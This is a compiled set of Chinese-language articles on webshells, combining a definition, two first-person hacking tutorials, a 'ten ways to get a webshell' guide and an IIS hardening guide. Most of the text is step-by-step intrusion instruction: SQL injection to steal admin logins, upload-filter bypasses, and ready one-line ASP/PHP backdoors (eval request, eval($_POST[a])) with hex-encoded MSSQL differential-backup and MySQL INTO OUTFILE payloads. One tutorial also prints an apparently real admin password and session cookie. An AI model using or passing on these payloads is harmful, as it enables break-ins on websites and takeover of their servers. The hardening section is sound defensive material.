webshell学习总结

webshell

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
外文名 webshell 简    称 web 类    别 工具 命令行 解    释 web入侵的脚本攻击工具
目录
1 作用
2 隐蔽性
3 安全防范
作用
一方面,webshell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。
另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为WEB脚本木马,比较流行的asp或php木马,也有基于.NET的脚本木马与JSP脚本木马。国内常用的WebShell有海阳ASP木马,Phpspy,c99shell等。
隐蔽性
WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用服务器漏洞进行隐藏,如 "..." 目录就可以达到,站长从FTP中找到的是含有“..”的文件夹,而且没有权限删除,还有一些隐藏的WEBSHELL,可以隐藏于正常文件带参数运行脚本后门。
webshell可以穿越服务器防火墙,由于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
安全防范
从根本上解决动态网页脚本的安全问题,要做到防注入、防暴库、防COOKIES欺骗、防跨站攻击等等,务必配置好服务器FSO权限。最小的权限=最大的安全。防范webshell的最有效方法就是:可写目录不给执行权限,有执行权限的目录不给写权限。防范方法:
1、建议用户通过ftp来上传、维护网页,尽量不安装asp的上传程序。
2、对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。
3、asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。
4、到正规网站下载程序,下载后要对数据库名称和存放路径进行修改,数据库名称要有一定复杂性。
5、要尽量保持程序是最新版本。
6、不要在网页上加注后台管理程序登陆页面的链接。
7、为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过上传即可。
8、要时常备份数据库等重要文件。
9、日常要多维护,并注意空间中是否有来历不明的asp文件。
10、尽量关闭网站搜索功能,利用外部搜索工具,以防爆出数据。
11、利用白名单上传文件,不在白名单内的一律禁止上传,上传目录权限遵循最小权限原则。
========

菜鸟拿WebShell的经验



通过几次成功的拿Webshell,发现自己有时也走了一些弯路,为了避免其他的朋友再在困惑中迷失方向,现在我将自己的一些经验写出来,希望对一些想学拿Webshell的朋友有一定的帮助。 
  首先我们要确定我们要检测的网站,可以是自己定下的某个网站,也可以是自己通过Google或者Baidu搜索得到的,遇到ASP这样的动态网站入侵成功率是最佳的。不详细说了,这一步就是选定目标网站。   然后我们开始对网站进行检测。仔细的看看这个网站的超链接尾部有没有形如"ID=XXX(XXX代表数字)"的字符;如果有的话,我们可以对其进行如下的基本检测:打开这个链接,在地址栏ID=XXX的后面加上“and 1=2”(不要加引号), 点击提交后打开一个新的页面,在这个页面中如果显示不正常,或者显示什么错误的话,就说明存在注入漏洞了!我们就可以尝试对其进行注入了!   在这里我们注意下,一般有2种数据库的类型:ACCESS、MSSQL2种数据库。我们先来说一下关于ACCESS数据库的解破。   在这里我们可以使用工具猜测数据库的内容(也可以手工猜测,但是太繁琐了),这里我们就使用明小子工具里的“SQL注入猜解”。填上我们刚才手工检测到的注入点,点击检测后程序开始检测是否存在注入点,开始我们已经手工检测过了,所以肯定是存在的了。然后就可以点击“猜解表名”,将数据库的表名给猜出   来,有了程序,我们进行这些操作将会很简单;很快就会猜出所有的表名,接着选定我们要猜解的表名,用程序猜解该表名的列名,接着就可以再猜解记录的内容。一般防范措施不当的网站就会被猜出用户名密码;接着我们用程序自带的功能猜解后台地址,猜到之后,用得到的用户名密码进行登陆;一般防范措施差的网站甚至可以直接用万能的用户名密码’or’=’or’进行登陆。   登陆成功之后,我们进入后台,进入后台才是一切入侵的基本条件。正式开始我们的入侵。   首先看下有没有数据库备份的功能,如果有,我们来看看怎么得到Webshell。   1、用一句话木马。通过各种方法,把这句话写入到数据库,再把写入这句话的数据库通过备份变成后缀为.asp的文件,当然要注意备份后的文件地址,然后进行访问,如果显示的是乱码,那么就恭喜你了,基本上就成功了!在再本地用一个一句话木马的客户端进行连接,就连接出现乱码的那个页面地址,连成功之后,你就可以看见熟悉的WebShell了!   2、用图片的上传功能。我们把ASP木马的后缀改成图片的后缀名,如GIF、JPG、BMP之类的,进行上传,上传成功之后,会提示文件上传成功,并且会给出文件的位置,如’UploadFiles/20080501012.gif’;但是,有的可能并不会提示,我们就要用WSockExpert对上传的过程进行抓包,抓到上传的路径;然后,我们通过数据库备份的功能,把gif等图片的格式变成ASP格式的数据库,进行访问,这时候我们通常就可以看见我们的WebShell了!但是目前有的网站上传功能会对这个进行检测,如果备份的文件检查不出属于数据库,则会提示“不合法的数据库”,这时候我们该怎么办呢?既然要检测是否有数据库特征,那我们把图片加入数据库特征不就可以了?对!事实就是如此,我们可以通过DOS的COPY命令给图片加上数据库特征,命令如下 “COPY 木马图片.gif 数据库文件.mdb 合成后的文件.gif”这样,我们合成后的图片就会带有数据库的特征了!   但是,有的网站后台我们找不到有数据库备份的地方,上面的方法就不管用了,这时候我们该怎么办呢?别急,事情总是有解决的办法的。找到一个有上传功能的页面,随便上传个什么东西,用WSockExpert对上传过程进行抓包,一般我们点击上传之后,在WSockExpert抓到的包中就会找到上传的ASP页面和相应的COOKIES了,当然我们在这里一定要先进入后台,用管理员的账号进行上传,得到的COOKIES就是管理员的了,这个在后面可以用的上。我们再用明小子的上传功能,选择上传的页面,就是我们抓包得到的页面,填上得到的COOKIES,选择我们要上传的木马(要免杀哦!不然传上去就给服务器删了),点击上传,当程序提示成功时,我们就可以对自己的WebShell进行访问了!如果失败,就换换别的上传的类型试试看。   有的时候我们可能真的一点拿不到某个网站的WebShell,我们这个时候就可以采用旁注的方法对属于同一台服务器的网站拿WebShell,然后提权拿到整台服务器,再对我们的目标网站进行入侵就可以了。   以上是对ACCESS数据库的分析和获取webshell,下面,我对MSSQL数据库来进行下分析。过去我也是先学ACCESS数据库的解破,等到学MSSQL数据库的时候就发现自己还是有很多的不懂,因此又走了不少的弯路,现在把MSSQL数据库拿webshell的方法总结下,希望对才接触webshell的朋友们有所帮助。   首先我们先检测下该MSSQL数据库的用户权限,一般都是有2种,一种是SA(system admin)权限,这个权限是很大的;还有一种就是DB_OWNER权限,这个权限赋给用户一些对数据库的修改、删除、新增数据表,执行大部分存储过程的权限。但是涉及到一些系统敏感操作的权限不具备,这也是它与SA权限的唯一区别。 我们首先来寻找网站所在服务器上的目录,可以使用啊D来查看目录,来寻找网站的目录,个人的经验是在D、E、F盘的地方。   但是有的时候找不到怎么办呢?我们只要上传个vbs文件就可以了,把下面的文件保存为lookweb.vbs: On Error Resume Next 
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then 
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs",4096,"Lilo" 
WScript.Quit 
End If 
Set ObjService=GetObject("IIS://LocalHost/W3SVC") 
For Each obj3w In objservice 
If IsNumeric(obj3w.Name) Then 
Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name) 
Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT") 
If Err <> 0 Then WScript.Quit (1) 
WScript.Echo Chr(10) & "[" & OService.ServerComment & "]" 
For Each Binds In OService.ServerBindings 
Web = "{ " & Replace(Binds,":"," } { ") & " }" 
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","") 
Next 
WScript.Echo "Path : " & VDirObj.Path 
End If 
Next 
  然后使用NBSI上传到服务器上,然后执行cscript X:\lookweb.vbs,在回显信息里我们就可以看见该服务器上相应网站与其对应的网站目录,很方便的。网站目录一目了然。   找到了网站的目录 ,我们就可以使用差异备份来获取webshell   我喜欢使用xiaolu写的Getwebshell,其中的a就是我们过会一句话木马要连接的密码,一定要注意MSSQL数据库是什么类型的,是字符型的还是数字型的。填写好相应的地方,路径一般都是网站的目录,如“D:\wwwroot\”在后面写上备份后的数据库名称,如ri.asp;点“BackupShell”系统就开始自动备份数据库了。备份成功后我们就访问我们备份的文件,当浏览器打开是乱码的时候就成功了。我们用lake2的一句话链接下就可以了,注意要填写密码哦。到这里基本上就可以拿到webshell了;   不用差异备份,就直接找到网站的目录,直接上传webshell文件到网站的目录下看看,也是可以的。
========

比较详细入侵网站后台拿webSHELL 



大家好我是黑帽子小黑客小鸡鸡,大家可以叫我傻逼青 
今天给大家做一个 入侵网站拿到后台然后通过上传漏洞拿网站的服务器 
可能有老鸟已经发过了,我给大家做一个比较详细的演示 


用到的工具:阿D工具包,黑客动画吧明小子旁注,WSockExpert抓包工具 
这些工具呢 百度随便可以搜到,黑吧安全网应该是不会提供这些黑客工具了 
我就不浪费时间咱们正式开始我们的黑客入侵吧 


首先我们打开 啊D 
点浏览网页 然后打上 www.baidu.com 然后点高级选项 
这里有几个选项 大家看呵呵作 地区随便选 我们就选黑龙江省吧 
然后再打关键字 这个关键字不是很重要 大家可以随便打 
我就打一个 民俗 吧 然后点击搜索 大家看 我们下面找到了5个注入点 
然后我们选择一个来扫描 点注入检测 我们来检测一下这个网站 
太慢啦 我们换一个 好 检测完成 然后我们点检测表段 我们看到一个 admin 
一般的后台帐号好密码都在这里面 我们再检测一下字段 检测完成 
我们看到了三个字段 一般我们就选 name和password 这里检测出的内容可能就是后台的帐号和密码了 
好 我们检测内容试一下 名字出来了 是admin 好的 密码也检测出来了sy!@90mn 就是它 
然后我们再检测一下这个网站的后台 找不到后台我们怎么输入帐号和密码啊 
点管理入口检测 一般的后台地址就是 admin/什么什么之类的 我们打开它 
好 我们看到后台管理入口了 然后输入刚才检测到的帐号和密码 
好的 我们已经成功入侵了一个网站找到了后台 我们一般的黑客想挂网马呢只找到网站的后台是不性的 
要进入服务器拿到shell才可以 下面我就教给大家找后台的上传漏洞来拿服务器 就是上传个自己的后门 
我们先找一下后台有没有上传点 这个网站可能不行 还有备份之类的方法我还没有研究 希望老鸟来指导一下 为了不浪费时间呢 我已经找到一个可以上传的后台给大家演示 大家自己再找找就可以了 
http://www.myhack58.com/admin/login.asp 这就是我找到的网站后台 我们打开它看一下 
我们进入了 看到这个后台有很多的功能 大家可以自己去试试 我在添加文章里找到了一个上传点 
就是它 下面我们用到的工具是 抓包工具 大家可以很容易的在网上找到的 就是它 先点文件的小图标 
然后找到IE浏览器 里面可以找到我的后台管理 大家看呵呵作 
打开它然后我们上传文件 等待抓数据 
上传失败 因为这个后台不允许上传exe asp等文件 但是我们抓的数据也成功了 就是他 
下面我们找上传点和cookie /upfile.asp 这个很重要 它就是我们的上传后门的地方 
Cookie: ASPSESSIONIDCQBDQRTB=DLLNGKOAPEPKOKBIDELPFDGA 这是cookie 这个数据也很重要 我们一会上传木马时可以用到 
好的 最后的操作就是上传我们的ASP后门木马 这个木马大家可以到网上去找 我用的是海阳的后门木马 
这里就不给大家演示怎样生成木马了 不懂的可以加我QQ 
好 看我的演示 我们要用到的最后一个工具就是 明小子 其实刚才的步骤明小子也可以完成 
但是我用啊D的习惯了 好的 看呵呵作 
点综合上传 里面就是上传木马的界面了 大家选动力上传3.51 
提交地址就写网站的地址加上刚才我们找到的重要的上传点www.myhack58.com/upfile.asp 
然后点自选网页木马 最重要的就是 后面的两个选项 一定选第二个 最后再把cookie填上 
好了 我们点上传试一下 木马上传成功了 webshell的地址就在这里UploadFiles/2007328181031211.asp 
前面加上网站地址就可以了 
www.myhack58.com/UploadFiles/2007328181031211.asp 我们打开看一下 看到没 这就是我的后门 
剩下的要干什么大家自己想吧。。。。千万不要搞破坏哦~~我们进去看一下 服务器的所有东西都可以看见和操作了
========

获取webshell的十种方法



本文通过归纳总结,将获取webshell的方式归为直接上传获取webshell、添加修改上传类型、利用后台管理功能写入webshell等十种方式,希望企业网络管理员能够通过了解加强企业安全防护。
AD:51CTO 网+ 第十二期沙龙:大话数据之美_如何用数据驱动用户体验
黑客在入侵企业网站时,通常要通过各种方式获取webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。本篇文章将如何获取webshell总结成为了十种方法,希望广大的企业网络管理员能够通过了解获取webshell的途径,对企业自身进行防范。


一、直接上传获取webshell


这种对php和jsp的一些程序比较常见,MolyX BOARD就是其中一例,直接在心情图标管理上传。php类型,虽然没有提示,其实已经成功了,上传的文 件url应该是http://forums/images/smiles/下,前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传。php文件,上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。


二、添加修改上传类型


现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型,bbsxp后台可以添加asa|asP类型,ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了。asp,可以添加。aspasp的文件类型来上传获得webshell.php系统的后台,我们可以添加。php.g1f的上传类型,这是php的一个特性,最后的哪个只要不是已知的文件类型即可,php会将php.g1f作为。php来正常运行,从而也可成功拿到shell.LeadBbs3.14后台获得webshell方法是:在上传类型中增加asp ,注意,asp后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格!


三、利用后台管理功能写入webshell


上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell.比较的典型的有dvbbs6.0,还有leadbbs2.88等,直接在后台修改配置文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\\网站\inc\IncHtm\BoardLink.asp就是我们想要的shell.


四、利用后台管理向配置文件写webshell


利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON Counter统计程序等等,还有很多php程序都可以,COCOON Counter统计程序举例,在管理邮箱处添上cnhacker@263.net":eval request(chr (35))//, 在配制文件中就是webmail="cnhacker@263.net\":eval request(chr(35))//",还有一种方法就是写上 cnhacker@263.net"%><%eval request(chr(35))%><%',这样就会形成前后对应,最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的2006 客户端来连,需要说明的是数据库插马时候要选前者。再如动易2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马"%><%execute request("l")%><%',保 存顶部栏目菜单参数设置成功后,我们就得到马地址http://网站/admin/rootclass_menu_config.asp.


五、利用后台数据库备份及恢复获取webshell


主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为其他后缀 如。txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候,但是有asp系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成。asp文件即可。在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在。asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改gif后缀后上传也可以突破检测,然后备份为。asp文件,成功得到webshell.


获取webshell的十种方法(2)
2010-09-13 17:17 佚名 ZDNET 字号:T | T
一键收藏,随时查看,分享好友!
本文通过归纳总结,将获取webshell的方式归为直接上传获取webshell、添加修改上传类型、利用后台管理功能写入webshell等十种方式,希望企业网络管理员能够通过了解加强企业安全防护。
AD:51CTO 网+ 第十二期沙龙:大话数据之美_如何用数据驱动用户体验
六、利用数据库压缩功能


可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写上<%eval request (chr(35))%>, 提交后,在数据库操作中压缩数据库,可以成功压缩出。asp文件,用海洋的最小马的eval客户端连就得到一个webshell.


七、asp+mssql系统


这里需要提一点动网mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:<form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post"> <p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p> <p>要复制到的位置:<input name="backpath" type="text" size="80"></p> <p><input type="submit" value="提交"></p> </form>另存为。htm本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复制到的位置”那里,提交就得到我们可爱的WebShell了,恢复代码和此类似,修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台,动网的数据库还原和备份是个摆设,不能执行sql命令备份webshell,只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell,一般后台是显示了绝对路径,只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码,利用动网7.0的注入漏洞可以用差异备份一个webshell,可以用利用上面提到的方法,将conn.asp文件备份成。txt文件而获得库名。


差异备份的主要代码:


;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s——
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])——
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)——
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT——这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:\web\1.asp的十六进制,也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell,唯一的不足就是备份后的文件过大,如果备份数据库中有防下载的的数据表,或者有错误的asp代码,备份出来的webshell就不会成功运行,利用差异备份是成功率比较高的方法,并且极大的减少备份文件的大小。


八、php+mysql系统


后台需要有mysql数据查询功能,我们就可以利用它执行SELECT …… INTO OUTFILE查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT …… INTO OUTFILE语句导出shell.在mysql操作里输入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路径‘ 就可以获得了一个<?eval($_POST[a]);?>的最小马' 0x3C3F6576616C28245F504F53545B615D293B3F3E 是我们<?eval($_POST[a]);?>的十六进制,这种方法对phpmyadmin比较普遍,先利用phpmyadmin的路径泄露漏洞,比较典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php.


就可以暴出路径,php环境中比较容易暴出绝对路径:)。提一点的是遇到是mysql在win系统下路径应该这样写d:\\wwwroot\\a.php.下面的方法是比较常用的一个导出webshell的方法,也可以写个vbs添加系统管理员的脚本导出到启动文件夹,系统重起后就会添加一个管理员帐号CREATE TABLE a(cmd text NOT NULL)


INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>')


select cmd from a into outfile '路径/b.php' DROP TABLE IF EXISTS a访问b.php就会生成一个<?eval($_POST[a]);?>的最小马。


如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码:


<?$sa = fopen("./up/saiy.php","w");fwrite($sa,"<?eval(\$_POST[a]);?".">");fclose($sa);?>


就会在up目录下生成文件名为saiy.php内容为<?eval($_POST[a]);?>的最小php木马,最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?> 将会在当前目录生成一个a.php的最小马。


九、phpwind论坛从后台到webshell的三种方式


方式1 模板法进入后台, 风格模版设置 ,在随便一行写代码,记住,这代码必须顶着左边行写,代码前面不可以有任何字符。


EOT;eval($a);print <<<EOT而后得到一个shell为http://网站/bbs/index.php.


方式2 脏话过滤法进入安全管理 ◇ 不良词语过滤。新增不良词语写 a‘]=’aa‘;eval($_POST[’a‘]);//


替换为那里可以随意写,而后得到一个shell地址为http://网站/bbs/data/bbscache/wordsfb.php.


方式3 用户等级管理新建立会员组,头衔你可以随便写,但是千万不要写单双引号特殊符号,升级图片号写a‘;eval($_POST[’a‘]);// ,升级点数依然可以随意写。而后得到一个shell地址为http://网站/bbs/data/bbscache/level.php.以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。


十、也可以利用网站访问计数系统记录来获取webshell


最明显的就是某私服程序内的阿江计数程序,可以通过http://网站/stat.asp?style=text&referer= 代码内容&screenwidth=1024直接提交, 即可把代码内容直接插入到计数系统的数据库中,而此系统默认数据库为count#.asa,我们可以通过http://网站/count%23.asa访问得到webshell,由于阿江计数程序过滤了%和+,将最小马改成<SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT>eval(Request("1"))</SCRIPT>替换代码内容处提交,然后用lake2的eval客户端来提交,值得一提的是如果进到计数后台,可以清理某时某刻的数据,一旦插入asp木马失败,可以清理数据库再次操作。


解决方案由于本文涉及的代码版本很多,所以不可能提供一个完美的解决方案。有能力者可以针对本文提到的漏洞文件进行适当修补,若漏洞文件不影响系统使用也可删除此文件。大家如果不会修补,可以到相关官方网站下载最新补丁进行修复更新。同时也请大家能时刻关注各大安全网络发布的最新公告,若自己发现相关漏洞也可及时通知官方网站。


后记其实,从后台得到webshell的技巧应该还有很多的,关键是要看大家怎么灵活运用、触类旁通,希望本文的方法能起到抛砖引玉的作用。 各位加油吧,让我们将服务器控制到底!
========

加固IIS让Webshell无用武之地



攻击者通过多种手段获得的Webshell,然后进一步渗透,直至控制整个服务器。如何让攻击者无缘Webshell,我们做为管理员应该如何加固Web服务器,让攻击者在获得了Webshell之后无功而返呢……
AD:51CTO 网+ 第十二期沙龙:大话数据之美_如何用数据驱动用户体验
用微软的IIS打造一个WEB服务器是件非常简单的事情,但是它的安全性实在不敢恭维。攻击者通过注入、上传、旁注等技术获得了某个网站的Webshell,然后进一步渗透提权,直至控制整个服务器。至于如何让攻击者无缘Webshell那是代码部分的问题,我们做为管理员应该如何加固Web服务器,让攻击者在获得了Webshell之后无功而返呢?


一、设置命令权限


默认设置下,webshell中可以调用一些对服务器构成危险的系统命令,因此要对这些命令进行权限限制。


需要限制权限的命令主要有:


cmd.exe net.exe net1.exe ping.exe netstat.exe ftp.exe tftp.exe telnet.exe


对这些命令单独进行设置,设置为只允许administrators组访问,这样既防止攻击者新建用户对系统进行修改,也可以防范通过Serv-U的本地提升权限漏洞来运行这些关键的程序了。特别提醒的是要删除cacls.exe这个程序,防止有人通过命令行来修改权限。(图1)


 
图1
个人秘笈:在系统目录下放一个和cmd.exe同名的监控程序,并赋予它eventone运行权限。这样只要攻击者在websehll中调用cmd.exe就可以触发监控程序,记录并追查攻击者的踪迹,让他偷鸡不成反蚀一把米。为我们发现入侵,直至找到攻击者做准备。


二、设置目录权限(以windows 2003为例)


设置的原则是让IIS以最小的权限运行,但也不至于把自己捆住。


1、选取整个硬盘:


system:完全控制


administrator:完全控制


(允许将来自父系的可继承性权限传播给对象) (图2)


 
图2
2、c:\program files\common files:


everyone:读取及运行


列出文件目录


读取


(允许将来自父系的可继承性权限传播给对象)


3、c:\inetpub\wwwroot:


iusr_machinename:读取及运行


列出文件目录


读取


(允许将来自父系的可继承性权限传播给对象)


4、c:\windows\system32:


选择除inetsrv和centsrv以外的所有目录,


去除“允许将来自父系的可继承性权限传播给对象”选框,复制。


5、c:\windows:


选择除了downloaded program files、help、iis temporary compressed files、


offline web pages、system32、tasks、temp、web以外的所有目录


去除“允许将来自父系的可继承性权限传播给对象”选框,复制。


6、c:\windows:


everyone:读取及运行


列出文件目录


读取


(允许将来自父系的可继承性权限传播给对象)


7、c:\windows\temp:(允许访问数据库并显示在asp页面上)


everyone:修改


(允许将来自父系的可继承性权限传播给对象)


三、与组件相关的设置


1、shell.application组件删除


再来去掉一些ASP WEBSHELL需要使用的一些组件,这些组件其实普通的虚拟主机用户也是用不上的。


很多防范ASP木马的文章都提到要删除FileSystemObject组件,但删除了这个组件后,很多ASP的程序可能会运行不了,其实只要做好了前面的工作,FileSystemObject组件能操作的,只能是自己目录下的文件,也就构成不了什么威胁了!


现在看来,还比较有威胁的组件就是Shell.Application和Wscript.Shell这两个组件了,Shell.Application可以对文件进行一些操作,还可以执行程序,但不能带参数,而Wscript.Shell可以操作注册表和执行DOS命令。


2、防范Wscript.Shell组件的方法:


可以通过修改注册表,将此组件改名。


HKEY_CLASSES_ROOT\WScript.Shell\及HKEY_CLASSES_ROOT\WScript.Shell.1\


改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName自己以后调用的时候使用这个就可以正常调用此组件了 (图3)


 
图3
也要将clsid值也改一下


HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值


HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值


也可以将其删除,来防止此类木马的危害。


3、防范Shell.Application组件的方法:


可以通过修改注册表,将此组件改名。


HKEY_CLASSES_ROOT\Shell.Application\ 及


HKEY_CLASSES_ROOT\Shell.Application.1\


改名为其它的名字,如:改为Shell.Application_ChangeName或Shell.Application.1_ChangeName


自己以后调用的时候使用这个就可以正常调用此组件了。


也要将clsid值也改一下


HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值 (图4)


 
图4
也可以将其删除,来防止此类木马的危害。


四、综合设置(针对虚拟主机)


说明:FileSystemObject(FS0)这个组件为 ASP 提供了强大的文件系统访问能力,可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作,但是禁止此组件后,引起的后果就是所有利用这个组件的ASP将无法运行,无法满足我们的需求。如何既允许FileSystemObject组件,又不影响服务器的安全性呢?


1、目录权限设置。


在服务器上打开资源管理器,用鼠标右键点击各个硬盘分区或卷的盘符,在弹出菜单中选择“属性”,选择“安全”选项卡,此时就可以看到有哪些帐号可以访问这个分区(卷)及访问权限。默认安装后,出现的是“Everyone”具有完全控制的权限。点“添加”,将“Administrators”、“Backup Operators”、“Power Users”、“Users”等几个组添加进去,并给予“完全控制”或相应的权限,注意,不要给“Guests”组、“IUSR_机器名”这几个帐号任何权限。然后将“Everyone”组从列表中删除,这样,就只有授权的组和用户才能访问此硬盘分区了,而 ASP 执行时,是以“IUSR_机器名”的身份访问硬盘的,这里没给该用户帐号权限,ASP 也就不能读写硬盘上的文件了。(图5)


 
图5
2、创建客户账号


给每个虚拟主机用户设置一个单独的用户帐号,然后再给每个帐号分配一个允许其完全控制的目录。


第一步:打开“计算机管理”→“本地用户和组”→“用户”,在右栏中点击鼠标右键,在弹出的菜单中选择“新用户”:在弹出的“新用户”对话框中根据实际需要输入“用户名”、“全名”、“描述”、“密码”、“确认密码”,并将“用户下次登录时须更改密码”前的对号去掉,选中“用户不能更改密码”和“密码永不过期”。本例是给第一虚拟主机的用户建立一个匿名访问 Internet 信息服务的内置帐号“lw1”,即:所有客户端使用http://www.xxx.com 访问此虚拟主机时,都是以这个身份来访问的。输入完成后点“创建”即可。可以根据实际需要,创建多个用户,创建完毕后点“关闭”。(图6)


 
图6
第二步:在列表中双击该帐号,以便进一步进行设置:在弹出的“lw1”(即刚才创建的新帐号)属性对话框中点“隶属于”选项卡:刚建立的帐号默认是属于“Users”组,选中该组,点“删除”:现在出现的是如下图所示,此时再点“添加”:在弹出的“选择组”对话框中找到“Guests”,点“添加”,此组就会出现在下方的文本框中,然后点“确定”:出现的就是如下图所示的内容,点“确定”关闭此对话框。(图7)


3、IIS设置


第一步:打开“Internet 信息服务”,开始对虚拟主机进行设置,本例中的以对“第一虚拟主机”设置为例进行说明,右击该主机名,在弹出的菜单中选择“属性”,弹出一个“第一虚拟主机 属性”的对话框,从对话框中可以看到该虚拟主机用户的使用的是“E:\LW1”这个文件夹。(图8)


 
图8
第二步:切换到“资源管理器”,找到“E:\LW1”这个文件夹,右击,选“属性”→“安全”选项卡,此时可以看到该文件夹的默认安全设置是“Everyone”完全控制(视不同情况显示的内容不完全一样),首先将最将下的“允许将来自父系的可继承权限传播给该对象”前面的对号去掉:此时会弹出如下图所示的“安全”警告,点“删除”。(图9)


 
图9
第三步:切换到前面打开的“第一虚拟主机 属性”的对话框,打开“目录安全性”选项卡,点匿名访问和验证控制的“编辑”在弹出的“验证方法”对方框,点“编辑”弹出了“匿名用户帐号”,默认的就是“IUSR_机器名”,点“浏览”在“选择 用户”对话框中找到前面创建的新帐号“lw1”,双击此时匿名用户名就改过来了,在密码框中输入前面创建时,为该帐号设置的密码,再确定一遍密码。OK,完成了,点确定关闭这些对话框。 (图10)


 
图10
提示:如果该用户需要读取硬盘的分区容量及硬盘的序列号,那这样的设置将使其无法读取。如果要允许其读取这些和整个分区有关的内容,请右键点击该硬盘的分区(卷),选择“属性”→“安全”,将这个用户的帐号添加到列表中,并至少给予“读取”权限。由于该卷下的子目录都已经设置为“禁止将来自父系的可继承权限传播给该对象”,所以不会影响下面的子目录的权限设置。


小结:经此设置后,“第一虚拟主机”的用户,使用ASP的 FileSystemObject 组件也只能访问自己的目录:E:\LW1下的内容,当试图访问其他内容时,会出现诸如“没有权限”、“硬盘未准备好”、“500 服务器内部错误”等出错提示了。(图11)


 
图11
